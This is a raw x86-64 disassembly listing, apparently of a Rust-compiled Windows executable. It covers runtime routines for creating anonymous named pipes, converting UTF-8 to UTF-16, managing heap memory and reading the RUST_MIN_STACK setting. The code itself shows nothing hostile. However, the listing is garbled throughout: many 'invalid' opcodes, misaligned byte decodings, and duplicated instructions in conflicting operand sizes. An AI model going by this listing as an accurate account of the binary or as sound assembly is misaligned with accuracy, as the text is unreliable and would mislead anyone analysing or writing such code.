add byte [rax - 0x73], cl
add eax, 0xfffb496f
outsd dx, dword [rsi]
sti
dec dword [rax - 0x77]
or byte [r8 - 0x73], r9b
call 0x1504e7ba5
mov qword [rbp + 8], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140041690]
mov qword [rbp + 0x18], rax
lea rax, str..pipe__rust_anonymous_pipe1__.
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 2
mov qword [rbp + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, rbp
mov eax, ebp
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 2
mov dword [rbp + 0x38], 2
mov dword [rbp + 0x38], 2
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], rbx
jo 0x14008f2db
mov byte [rbp + 0xa7], bh
jo 0x14008f2db
mov byte [rbp + 0xa7], bh
add dh, al
test dword [rsi + 0x1000000], esp
invalid
mov byte [rbp + 0xa6], 1
add dword [rax - 0x73], ecx
enter 0xffffffffffff8d48, 0x55
push rbp
lea rcx, [rbp - 0x38]
lea rdx, [rbp + 0x20]
push rbp
and al, ch
retf
invalid
sti
invalid
push rbp
and al, ch
retf
adc eax, 0x854dfffb
test byte [rdi], 0x94
rol byte [rax + 8], 0xc6
or dh, al
test r14, r14
sete al
or sil, al
or dh, al
or dh, al
test sil, 1
test dh, 1
jne 0x14008f2d6
adc cl, byte [rax - 0x75]
or eax, 0x69f2d
invalid
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x21132
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x21132
mov r8, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
enter 0xffffffffffff8b48, 0x45
ror byte [rax - 0x77], 1
invalid
mov eax, dword [rbp - 0x30]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x80], eax
test dword [rax + 0x4c000000], eax
mov r9, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x28]
lea r12, [r8 + r9]
test r9, r9
mov qword [rbp + 0x88], r8
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], al
pop rsp
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], al
pop rsp
je 0x14008f320
movzx ecx, byte [r8]
movzx r13d, cl
movzx ebp, cl
movzx ebp, cl
test r13b, r13b
js 0x14008f340
invalid
lea r15, ss:[r8 + 1]
lea r15, [r8 + 1]
jmp 0x14008f3a4
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
xor edi, edi
xor r14d, r14d
xor r13d, r13d
xor r15d, r15d
xor esi, esi
imul cl
invalid
add byte [rax], al
invalid
imul cl
invalid
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, r13d
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r8 + 1]
mov dh, 0x50
add dword [rbx - 0x7fbec01e], eax
cmp ch, 0xdf
mov dh, 0x50
add dword [rbx - 0x7fbec01e], eax
cmp ch, 0xdf
jbe 0x14008f398
cmp ch, 0xdf
jbe 0x14008f398
movzx r13d, byte [r8 + 2]
shl edx, 6
mov dh, 0x68
add al, cl
loop 0x14008f362
and r13d, 0x3f
and ebp, 0x3f
or r13d, edx
cmp cl, 0xf0
stc
invalid
jb 0x14008f763
invalid
invalid
stc
invalid
add byte [rbp - 0x73], cl
js 0x14008f374
lea r15, [r8 + 4]
movzx ecx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
loopne 0x14008f38d
mov dh, 0x48
add eax, dword [rbx - 0x1f3ef820]
adc al, byte [rcx - 0x3f]
in eax, 6
loopne 0x14008f38d
shl r13d, 6
and ecx, 0x3f
loope 0x14008f3c1
or ecx, r13d
or ecx, eax
mov r13d, ecx
cmp r13d, 0xffff
inc dword [rax]
add byte [rsi + 0x11], dh
invalid
inc dword [rax]
add byte [rsi + 0x11], dh
jmp 0x14008f77a
add eax, dword [rax]
add byte [rbp - 0x73], cl
js 0x14008f39e
lea r15, [r8 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
invalid
mov eax, 1
xor edi, edi
mov rsi, r12
sub rsi, r15
add rsi, 3
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
shr rsi, 2
shr esi, 2
add rsi, rax
mov r14w, 1
cmp rsi, 4
mov eax, 3
cmovb rsi, rax
movabs rax, 0x3fffffffffffffff
cmp rsi, rax
jae 0x14008f96d
mov qword [rbp - 0x10], r9
inc rsi
lea rbx, [rsi + rsi]
sbb al, 0x36
sbb al, 0x36
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
invalid
add byte [rax - 0x7b], cl
invalid
jne 0x14008f420
invalid
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
test eax, eax
je 0x14008f93a
add byte [rax - 0x77], cl
add eax, 0x69dd8
invalid
mov qword [0x1400f91f8], rax
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
mov r8, rbx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008f93a
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add eax, dword [0xc950f439]
add eax, 0x89480000
add eax, 0x89480000
mov rcx, rax
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
ror dword [rax - 0x75], 0x45
clc
mov eax, dword [rbp - 8]
inc eax
mov dword [rbp + 0x60], eax
invalid
mov word [rcx], r13w
mov ebx, 1
add byte [rax], al
add byte [rax - 0x77], cl
lea ebx, [rax - 0x15000000]
add byte [rax], al
add bl, ch
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
lea ebx, [rax - 0x15000000]
add byte [rax], al
add bl, ch
add byte [rax], al
add bl, ch
adc eax, 0xf2e6666
invalid
nop dword cs:[rax + rax]
add byte [rax], al
mov edi, eax
mov word [rcx + rbx*2], r13w
sub al, 0x59
inc rbx
test r15, r15
je 0x14008f4e0
push qword [rcx + rsi*2 + 0x66]
test edi, edi
test di, di
je case.0x140068b4c.1388
xor rax, r8
xor eax, eax
mov r13d, edi
cmp rbx, rsi
cmp ebx, esi
jne 0x14008f460
mov qword [rbp + 0x90], rsi
mov rsi, r12
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0x1a], cl
sub rsi, r15
add rsi, 3
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
shr rsi, 2
add ah, byte [rsi - 0x7d]
clc
add dword [rax - 0x7d], ecx
fdivp st(7)
add ah, byte [rsi - 0x7d]
clc
add dword [rax - 0x7d], ecx
fdivp st(7)
cmp r14w, 1
sbb rsi, 0xffffffffffffffff
mov edi, eax
jmp 0x14008f50b
pop rax
pop rax
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp r15, r12
je 0x14008f4e0
movzx edx, byte [r15]
mov dh, 0x17
movzx r13d, dl
test r13b, r13b
test ch, ch
test ch, ch
js 0x14008f5c7
add byte [rcx - 1], cl
invalid
inc r15
xor eax, eax
jmp 0x14008f479
pushfq
pushfq
nop dword [rax]
cmp r14w, 1
inc byte [rcx]
mov qword [rbp + 0x90], rsi
add byte [rax], al
jne 0x14008f670
add byte [rbp + 0x31], al
inc dword [rbp + 0x31]
test byte [rcx - 0x43], 0
mov r13d, 0
mov rdx, rsi
mov edx, esi
mov esi, 0
xor r15d, r15d
xor r14d, r14d
mov r13d, 0
mov rdx, rsi
mov edx, esi
mov edx, esi
mov esi, 0
cmp rbx, rdx
jne 0x14008f560
inc rsi
add rsi, rbx
jb 0x14008f928
invalid
mov rax, qword [rbp + 0x90]
add rax, rax
cmp rax, rsi
cmova rsi, rax
cmp rsi, 5
jae 0x14008f533
mov esi, 4
xor edx, edx
mov rcx, rsi
shr rcx, 0x3e
sete cl
cmp qword [rbp + 0x90], 0
je 0x14008f56f
mov r8, qword [rbp + 0x98]
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x30], rax
mov eax, 2
jmp 0x14008f571
mov rsi, qword [rbp + 0x90]
xor r13d, r13d
jmp 0x14008f462
xor eax, eax
lea r8, [rsi + rsi]
mov dl, cl
add rdx, rdx
mov qword [rbp + 0x28], rax
mov rcx, rbp
lea r9, [rbp + 0x20]
call fcn.1400a58a0
cmp qword [rbp], 0
mov rcx, qword [rbp + 8]
je 0x14008f5bb
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x14008f61f
movzx r13d, byte [r15 + 2]
shl r8d, 6
and r13d, 0x3f
or r13d, r8d
cmp dl, 0xf0
jb 0x14008f633
movzx edx, byte [r15 + 3]
add r15, 4
and eax, 7
shl eax, 0x12
shl r13d, 6
and edx, 0x3f
or edx, r13d
or edx, eax
mov r13d, edx
cmp r13d, 0xffff
ja 0x14008f646
add r15, 2
shl eax, 6
or eax, r8d
mov r13d, eax
xor eax, eax
jmp 0x14008f479
add r15, 3
shl eax, 0xc
or r13d, eax
cmp r13d, 0xffff
jbe 0x14008f618
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
mov rcx, qword [rbp + 0x98]
mov edx, dword [rbp + 0x64]
mov r15d, dword [rbp + 0x5c]
mov r8d, r15d
mov r9d, 1
call qword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14008f7f7
call qword [sym.imp.kernel32.dll_GetLastError]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
mov qword [rbp + 0x20], rcx
mov edx, dword [rbp + 0x60]
cmp edx, 9
mov r14, qword [rbp + 0x80]
jg 0x14008f7a8
cmp eax, 5
jne 0x14008f700
mov eax, edx
mov qword [rbp - 8], rax
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
jmp 0x14008f71c
test r15d, r15d
mov r12, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
je 0x14008f7a8
xor r15d, r15d
cmp eax, 0x57
jne 0x14008f7a8
lea rcx, [rbp + 0x20]
call fcn.14007a090
mov dil, 1
xor esi, esi
cmp qword [rbp + 0x90], 0
mov rbx, qword [rbp + 0x88]
mov r14, qword [rbp + 0x80]
je 0x14008f1c0
lea r15, [r8 + 3]
shl eax, 0xc
or r13d, eax
cmp r13d, 0xffff
jbe 0x14008f3a4
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov eax, 2
mov edi, r13d
mov r13d, ecx
jmp 0x14008f3ab
mov rax, qword [rbp + 0x68]
mov qword [rax + 8], rcx
mov qword [rax], 1
mov rsi, 0xffffffffffffffff
cmp qword [rbp + 0x90], 0
je 0x14008f8e9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x98]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rbp + 0x88]
test r14, r14
jne 0x14008f8ad
jmp 0x14008f8bf
test rsi, rsi
mov rdi, qword [rbp + 0x88]
mov r14, qword [rbp + 0x80]
je 0x14008f820
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x98]
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0x20], 0
mov dword [rbp + 0x40], 0
mov word [rbp + 0x44], 0
movzx eax, byte [rbp + 0xa5]
mov byte [rbp + 0x41], al
xor al, 1
mov byte [rbp + 0x40], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov dword [rbp], 0x18
mov qword [rbp + 8], 0
mov dword [rbp + 0x10], 1
mov rax, rbp
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], rdi
mov qword [rbp - 0x20], rbx
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 0
lea r8, [rbp + 0x20]
mov rcx, rdi
mov rdx, qword [rbp - 0x10]
call fcn.140082100
test rax, rax
test eax, eax
test eax, eax
je 0x14008f8f7
mov rax, qword [rbp + 0x68]
mov qword [rax + 8], rdx
mov qword [rax], 1
mov rsi, rbx
test r14, r14
je 0x14008f8bf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
sti
push qword [rcx + rcx + 0x48]
mov ecx, esi
call qword [sym.imp.kernel32.dll_CloseHandle]
or al, byte [rdx]
invalid
cmp rbx, 0xffffffffffffffff
je 0x14008f8ce
or al, byte [rdx]
add byte [rdi], cl
sub byte [rbp + 0xb0], dh
movaps xmm6, xmmword [rbp + 0xb0]
add rsp, 0x148
pop rbx
pop rdi
add qword [rax], rax
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdi, qword [rbp + 0x88]
mov byte [rax], al
add byte [rax], al
test r14, r14
jne 0x14008f8ad
jmp 0x14008f8bf
mov rax, qword [rbp + 0x68]
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdx
mov qword [rax], 0
test r14, r14
je 0x14008f8ce
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008f8ce
call fcn.1400402a0
jmp 0x14008f996
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
mov ecx, 2
mov rdx, rbx
call fcn.1400a9e00
jmp 0x14008f996
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
call fcn.1400402a0
ud2
add byte [rax], al
add byte [rcx], al
movaps xmm6, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x40], esi
invalid
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x90], 0
cmp qword [rbp + 0x90], 0
add byte [rax], al
je 0x14008fa61
mov rcx, qword [0x1400f91f8]
xor edx, edx
cmpsb byte [rsi], byte [rdi]
xchg edi, eax
invalid
mov r8, qword [rbp + 0x98]
mov eax, dword [rbp + 0x98]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x209a7
mov rax, qword [rbp + 0x80]
test dword [rax + 0x48000000], eax
mov dword [rbp + 0x78], eax
invalid
invalid
mov qword [rbp + 0x78], rax
js 0x14008fab5
mov rax, qword [rbp + 0x88]
mov eax, dword [rbp + 0x88]
add byte [rax], al
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
test dword [rdi + 0x1000000], esp
test dword [rdi + 0x1000000], esp
mov byte [rbp + 0xa6], 1
test dword [rsi + 0x1000000], esp
movaps xmm6, xmmword [rsp + 0x40]
sub byte [rsp + 0x40], dh
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
je 0x14008fae4
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x40], esi
je 0x14008fae4
invalid
je 0x14008fae4
movzx eax, byte [rbp + 0xa6]
movzx eax, byte [rbp + 0xa6]
add byte [rax], al
add byte [rax + 0x9085], cl
add byte [rax], al
mov rax, qword [rbp - 0x20]
invalid
mov byte [rbp + 0x90], al
add byte [rax], al
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x98], eax
mov dword [rbp + 0x98], eax
test byte [rbp + 0xa7], 1
test dword [rdi + 0x1000000], esp
jne 0x14008faf8
invalid
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
add esp, 0x58
je 0x14008fb0a
add rsp, 0x58
add esp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
cmp qword [rbp + 0x78], 0
je case.0x140074731.1029
mov r8, qword [rbp + 0x70]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x208f6
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
invalid
pop rax
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
sub esp, 0x40
mov rsi, qword [0x1400f91b8]
test rsi, rsi
je 0x14008fb9b
invalid
xchg esi, eax
invalid
or byte [rax - 1], cl
invalid
dec rsi
jmp 0x14008fd45
add byte [rax], al
add byte [rax], al
lea rdx, str.RUST_MIN_STACKfatal_runtime_error:_assertion_failed:_thread_info.stack_guard.get__.is_none____thread_info.thread.get__.is_none___n
lea rcx, [rsp + 0x20]
add eax, 0x4c8d4800
and al, 0x20
mov r8d, 0xe
call fcn.140080100
add rax, 0xffffffffb60fffff
and al, 0x38
and al, 0x38
add rax, 0xffffffffb60fffff
and al, 0x38
and al, 0x38
and al, 0x38
cmp al, 2
je 0x14008fd35
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x20
invalid
mov r8, qword [rsp + 0x20]
and byte [rax - 0x75], cl
and al, 0x28
mov rcx, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
test al, al
je 0x14008fc0c
invalid
cmp cl, byte [rbp - 0x7b]
ror byte [rdi], 0x84
pop rdx
test r8, r8
je 0x14008fd35
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14008fd1a
test byte [rsi], dh
add dword [rax], eax
add byte [rcx + 0xf], al
movzx eax, byte [r8]
mov dh, 0
cmp eax, 0x2d
je 0x14008fca6
mov ch, 0
add byte [rax], al
mov ch, 0
add byte [rax], al
cmp eax, 0x2b
jne 0x14008fcb1
dec r9
dec ecx
je 0x14008fd1a
add byte [rbp - 0x73], cl
push rax
add ecx, ebp
test al, 0
add byte [rax], al
invalid
lea r10, [r8 + 1]
jmp 0x14008fcb4
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14008fd1a
test byte [0x18b08fc17], al
lea eax, [rax + rcx]
lea rax, [r8 + r9]
mov r10, r8
jmp 0x14008fc38
add r10, 2
cmp rdx, rax
cmovne rdx, r10
nop dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r10, rdx
cmp rdx, rax
je 0x14008fbd2
lea rdx, [r10 + 1]
movzx r11d, byte [r10]
push rdx
add dword [rbp + 0xf], eax
mov dh, 0x1a
test r11b, r11b
test bl, bl
jns 0x14008fc30
cmp r11b, 0xe0
jb case.0x14007cc61.916
loopne 0x14008fcbc
rol dword [rcx - 0x80], cl
sti
in eax, dx
cmp r11b, 0xed
jne 0x14008fc7b
cmp rdx, rax
je 0x14008fbd2
js 0x14008fc57
invalid
invalid
js 0x14008fc57
invalid
invalid
lea rdx, [r10 + 2]
cmp rdx, rax
je 0x14008fbd2
invalid
invalid
invalid
add cl, byte [rax + 0x39]
ret 0x840f
invalid
cmp byte [r10 + 1], 0x9f
lahf
ja 0x14008fd50
add r10, 3
mov rdx, r10
jmp 0x14008fc30
add r10, 2
cmp rdx, rax
cmp edx, eax
cmp edx, eax
cmove r10, rdx
xor edx, edx
ror byte [rcx + 0x39], cl
ret 0x950f
invalid
ror byte [rcx + 0x39], cl
ret 0x950f
add rdx, r10
cmp r11b, 0xf0
jb 0x14008fc30
xor r10d, r10d
cmp rdx, rax
setne r10b
add rdx, r10
jmp 0x14008fc30
mov r10, r8
cmp r9, 1
jne 0x14008fcb4
jmp 0x14008fd1a
mov r10, r8
cmp r9, 0x11
jae 0x14008fce4
xor eax, eax
xor esi, esi
nop
movzx edx, byte [r10 + rax]
add edx, 0xffffffd0
cmp edx, 9
ja 0x14008fd1a
lea r11, [rsi + rsi*4]
mov edx, edx
lea rsi, [rdx + r11*2]
inc rax
cmp r9, rax
jne 0x14008fcc0
mov dil, 1
jmp 0x14008fd1c
xor r11d, r11d
mov edi, 0xa
xor esi, esi
cmp r9, r11
je 0x14008fcdf
movzx ebx, byte [r10 + r11]
mov rax, rsi
mul rdi
seto dl
add ebx, 0xffffffd0
cmp ebx, 9
ja 0x14008fd1a
test dl, dl
jne 0x14008fd1a
mov rsi, rax
mov eax, ebx
inc r11
add rsi, rax
jae 0x14008fcee
xor edi, edi
test rcx, rcx
je 0x14008fd30
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dil, dil
jne 0x14008fd3a
mov esi, 0x200000
lea rax, [rsi + 1]
mov qword [0x1400f91b8], rax
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
test rcx, rcx
je 0x14008fd35
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008fd35
mov edx, eax
test rax, rax
jne case.0x14007daa2.464
mov rcx, qword [rbx]
mov qword [rbp - 0x20], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x20]
je 0x1400900f5
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x1400844bb.456
mov r8, qword [rbp - 0x10]
jmp 0x1400900e6
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x20313
add byte [rcx], dh
sar bh, cl
adc eax, 0x20313
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2029b
invalid
invalid
add al, byte [rdx]
add byte [rcx - 0x1d3eb73e], cl
and byte [rax - 0x7d], cl
retf 0xbf02
invalid
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x18], rdi
mov ecx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.1400a9e00
ud2
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r14
adc byte [rbp + 0x41], dl
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x30
xor byte [rax - 0x73], cl
push 0x50
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
call fcn.1400852b0
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
xor byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
sub esp, 0x30
sub esp, 0x30
xor byte [rax - 0x73], cl
push 0x50
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1400901c8
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
js 0x1400901b6
adc dword [rdx + 0xc], esi
call 0x1508184ee
adc dword [rdx + 0xc], esi
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
mov rcx, qword [0x1400f91f8]
cmp al, 0x90
invalid
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
or eax, 0x69029
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp - 0x20]
loopne 0x1400901d5
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2022d
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
int3
add al, byte [rax]
test eax, eax
jne 0x140090226
adc eax, 0x20187
cmp eax, 0x78
js case.0x1400861b2.475
invalid
js case.0x1400861b2.475
mov dword [rbp - 0x18], esi
mov rax, qword [rsi + 8]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
invalid
call qword [rax + 0x18]
mov rax, qword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
invalid
invalid
js 0x14009024c
add byte [rax - 0x75], cl
jne case.0x1400861b2.508
mov esi, dword [rbp - 0x18]
je 0x14009026f
cmp dword [rax + 0x10], 0x11
jae 0x140090258
js 0x14009025f
adc dword [rbx + 6], esi
mov r8, qword [rbp - 8]
clc
clc
jmp 0x140090260
clc
mov r8, qword [r8 - 8]
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x68f91
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0x68f82
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rsi
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
add rsp, 0x78
invalid
js case.0x14007ecb4.467
add dword [rdx], eax
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
js case.0x14007ecb4.467
invalid
pop rbp
ret
add eax, 0x5a9bf
mov qword [rbp - 0x48], rax
mov r8d, 0xc045c748
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 0xc045c748
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x5e0b4
loopne case.0x1400861b2.491
invalid
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
loopne case.0x1400861b2.491
add byte [rax - 0x77], cl
enter 0x570f, 0xffffffffffffffc0
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rdx, str.library_std_src_syswindows_stack_overflow.rs
fisubr dword [rcx - 0x72b7fffb]
add byte [rax - 0x73], cl
lea rcx, [rbp - 0x48]
call fcn.1400a9ee0
pushfq
add dword [rax], eax
movabs r8, 0x660b0f00019c21e8
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov eax, 0x19c21e8
add byte [rdi], cl
pushfq
add dword [rax], eax
ud2
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
invalid
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x70]
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
call fcn.1400aa5b0
int3
add dword [rax], eax
add byte [rdi], cl
or esp, dword [rsi + 0x2e]
nop word cs:[rax + rax]
ud2
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x56], dl
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
mov rax, qword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
or byte [rax], al
je case.0x1400844bb.482
sub cl, byte [rax - 0x75]
invalid
mov rax, qword [rbp - 0x10]
invalid
cmp qword [rax + 0x10], 0x11
js case.0x140080e18.439
adc byte [rcx], dl
adc dword [rdx + 0xc], esi
jb case.0x14007edf4.437
or al, 0x48
mov eax, dword [rbp - 8]
clc
mov rax, qword [rbp - 8]
clc
clc
mov rax, qword [rax - 8]
clc
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
clc
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov es, word [rsi]
invalid
add byte [rcx], dh
xor edx, edx
